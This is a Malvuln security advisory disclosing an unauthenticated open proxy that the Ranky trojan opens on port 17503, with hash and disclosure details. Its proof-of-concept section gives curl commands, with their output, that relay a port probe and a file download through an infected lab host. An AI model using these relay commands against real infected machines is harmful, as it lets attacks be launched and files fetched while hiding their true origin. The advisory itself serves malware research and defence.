Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/dcc58648868f1d5c0d7c53250f1bd5c9.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Proxy.Win32.Ranky.dh
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 17503. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: dcc58648868f1d5c0d7c53250f1bd5c9
Vuln ID: MVID-2021-0364
Disclosure: 10/15/2021

Exploit/PoC:
Port scan)

curl -x http://192.168.18.125:17503 http://192.168.18.128:21
220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl -x http://192.168.18.125:17503 http://192.168.18.128/DOOM.exe --output DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24576  100 24576    0     0   6144      0  0:00:04  0:00:04 --:--:--  5957


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